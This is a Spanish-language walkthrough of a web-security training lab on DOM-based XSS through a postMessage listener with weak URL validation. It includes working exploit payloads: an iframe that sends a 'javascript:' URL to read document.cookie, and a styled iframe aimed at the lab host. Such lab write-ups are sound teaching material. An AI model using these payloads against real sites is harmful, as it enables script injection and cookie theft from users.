DOM XSS using web messages and a JavaScript URL
![[20251007024921.png]](/assets/20251007024921.4zKp8gGE.png)
En este laboratorio tenemos este sitio web.
![[20251007025641.png]](/assets/20251007025641.Cc-nRedF.png)
En el código fuente encontraremos un script de js:
c
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>Explicación
Escuchar mensajes
c
window.addEventListener('message', function(e) {- Agrega un event listener que escucha el evento
'message' - Este evento se dispara cuando la ventana recibe un mensaje de otra ventana o iframe
Procesar el mensaje recibido
c
var url = e.data;- e.data contiene los datos del mensaje recibido
- Se asume que estos datos son una URL
Validar que sea una URL válida
c
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {- Verifica que la cadena contenga 'http:' o 'https:'
- Esto es una validación básica para asegurar que sea una URL web
Redirigir la página
c
location.href = url;- Si la validación pasa, redirige la página actual a la URL recibida
Explotación
c
<iframe src="http://sitio-vulnerable.com"
onload="this.contentWindow.postMessage('javascript:alert(document.cookie)//http:','*')">
</iframe>El mensaje enviado es: 'javascript:alert(document.cookie)//http:'
Desglose:
javascript:alert(document.cookie)- El payload malicioso//- Comentario en JavaScript (ignora todo lo que sigue)http:- ¡Aquí está el truco! Esto pasa la validación
Proceso de validación vulnerable:
c
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url; // Se ejecuta: location.href = 'javascript:alert(document.cookie)//http:'
}La validación solo verifica si existe 'http:' en cualquier parte de la cadena, no si la URL comienza con http/https.
¿Por qué funciona?
location.href = 'javascript:alert(document.cookie)'ejecuta código JavaScript- El
//http:'se ignora porque es un comentario
c
<style>
iframe {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
border: none;
margin: 0;
padding: 0;
z-index: 9999;
background: white;
}
</style>
<iframe
src="https://0a85009703dd148c818e26ee0091001f.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
</iframe>![[20251007031127.png]](/assets/20251007031127.DlP61IPO.png)